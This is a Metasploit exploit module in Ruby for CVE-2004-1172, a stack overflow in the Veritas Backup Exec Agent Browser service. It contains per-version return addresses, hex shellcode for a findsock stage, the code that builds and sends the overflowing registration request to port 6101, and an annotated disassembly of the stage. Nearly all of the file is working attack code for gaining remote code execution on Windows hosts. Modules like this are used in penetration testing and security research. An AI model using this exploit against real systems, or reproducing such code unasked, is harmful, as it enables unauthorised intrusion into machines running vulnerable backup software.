141 lines
4.5 KiB
Ruby
141 lines
4.5 KiB
Ruby
##
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# This module requires Metasploit: http//metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = AverageRanking
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include Msf::Exploit::Remote::Tcp
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Veritas Backup Exec Name Service Overflow',
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'Description' => %q{
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This module exploits a vulnerability in the Veritas Backup
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Exec Agent Browser service. This vulnerability occurs when a
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recv() call has a length value too long for the destination
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stack buffer. By sending an agent name value of 63 bytes or
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more, we can overwrite the return address of the recv
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function. Since we only have ~60 bytes of contiguous space
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for shellcode, a tiny findsock payload is sent which uses a
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hardcoded IAT address for the recv() function. This payload
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will then roll the stack back to the beginning of the page,
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recv() the real shellcode into it, and jump to it. This
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module has been tested against Veritas 9.1 SP0, 9.1 SP1, and
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8.6.
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},
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'Author' => [ 'hdm' ],
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'License' => MSF_LICENSE,
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'References' =>
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[
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[ 'CVE', '2004-1172'],
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[ 'OSVDB', '12418'],
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[ 'BID', '11974'],
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[ 'URL', 'http://www.idefense.com/application/poi/display?id=169&type=vulnerabilities'],
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],
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'Privileged' => true,
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'Payload' =>
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{
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'Space' => 1024,
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'MinNops' => 512,
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'MinNops' => 512,
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'StackAdjustment' => -3500,
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},
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'Platform' => %w{ win },
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'Targets' =>
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[
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[
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'Veritas BE 9.1 SP0/SP1', # BackupExec 9.1 SP0/SP1 return contributed by class101
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{
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'Platform' => 'win',
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'Rets' => [ 0x0142ffa1, 0x401150FF ], # recv@bnetns.exe v9.1.4691.0 | esi@bnetns.exe
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},
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],
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[
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'Veritas BE 8.5',
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{
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'Platform' => 'win',
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'Rets' => [ 0x014308b9, 0x401138FF ], # recv@bnetns.exe v8.50.3572 | esi@beclass.dll v8.50.3572
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},
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],
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],
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'DisclosureDate' => 'Dec 16 2004',
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'DefaultTarget' => 0))
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register_options(
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[
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Opt::RPORT(6101)
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], self.class)
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end
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def exploit
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connect
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print_status("Trying target #{target.name}...")
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# This will findsock/read the real shellcode (51 bytes, harcoded IAT for recv)
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# The IAT for recv() is for bnetns, the address is shifted by 8 bits to avoid
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# nulls: [0x00401150 -> 0x401150FF]
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stage_code = "\xfc" * 112
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stage_read =
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"\x31\xf6\xc1\xec\x0c\xc1\xe4\x0c\x89\xe7\x89\xfb\x6a\x01\x8b\x74"+
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"\x24\xfe\x31\xd2\x52\x42\xc1\xe2\x10\x52\x57\x56\xb8\xff\x50\x11"+
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"\x40\xc1\xe8\x08\xff\x10\x85\xc0\x79\x07\x89\xdc\x4e\x85\xf6\x75"
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# Configure the IAT for the recv call
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stage_read[29, 4] = [ target['Rets'][1] ].pack('V')
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# Stuff it all into one request
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stage_code[2, stage_read.length] = stage_read
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# Create the registration request
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req =
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"\x02\x00\x32\x00\x20\x00" + stage_code + "\x00"+
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"1.1.1.1.1.1\x00" + "\xeb\x81"
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print_status("Sending the agent registration request of #{req.length} bytes...")
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sock.put(req)
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print_status("Sending the payload stage down the socket...")
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sock.put(payload.encoded)
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print_status("Waiting for the payload to execute...")
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select(nil,nil,nil,2)
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handler
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disconnect
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end
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end
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__END__
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[ findsock stage ]
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00000000 31F6 xor esi,esi
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00000002 C1EC0C shr esp,0xc
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00000005 C1E40C shl esp,0xc
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00000008 89E7 mov edi,esp
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0000000A 89FB mov ebx,edi
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0000000C 6A01 push byte +0x1
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0000000E 8B7424FE mov esi,[esp-0x2]
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00000012 31D2 xor edx,edx
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00000014 52 push edx
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00000015 42 inc edx
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00000016 C1E210 shl edx,0x10
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00000019 52 push edx
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0000001A 57 push edi
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0000001B 56 push esi
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0000001C B8FF501140 mov eax,0x401150ff
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00000021 C1E808 shr eax,0x8
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00000024 FF10 call near [eax]
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00000026 85C0 test eax,eax
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00000028 7907 jns 0x31
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0000002A 89DC mov esp,ebx
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0000002C 4E dec esi
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0000002D 85F6 test esi,esi
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0000002F 75E1 jnz 0x12
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00000031 FFD7 call edi
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